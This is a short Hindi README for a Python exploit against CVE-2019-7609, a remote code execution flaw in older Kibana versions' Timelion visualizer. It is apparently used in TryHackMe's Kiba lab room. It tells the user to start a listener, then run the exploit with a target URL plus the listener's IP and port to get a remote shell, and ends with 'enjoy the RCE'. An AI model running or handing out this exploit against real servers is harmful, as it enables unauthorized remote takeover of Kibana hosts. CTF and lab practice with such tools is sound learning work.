CVE-2019-7609

CVE-2019-7609 के लिए एक्सप्लॉइट, जो python3.6+ में लिखा गया है और LandGrey के कोड पर आधारित है।

CVE-2019-7609: Timelion विज़ुअलाइज़र में Kibana संस्करण 5.6.15 और 6.6.0 से पहले के संस्करणों पर RCE।

उपयोग

1. एक लिसनर शुरू करें
2. टार्गेट url (kiba सर्वर का बेस url), लिसनर होस्ट पता और लिसनर पोर्ट को तर्कों के रूप में पास करके एक्सप्लॉइट चलाएँ

./cve-2019-7609.py http://<target>:5601 <listener-ip> <listener-port>

3. RCE का आनंद लें

उदाहरण

TryHackme पर Kiba रूम पर परीक्षण किया गया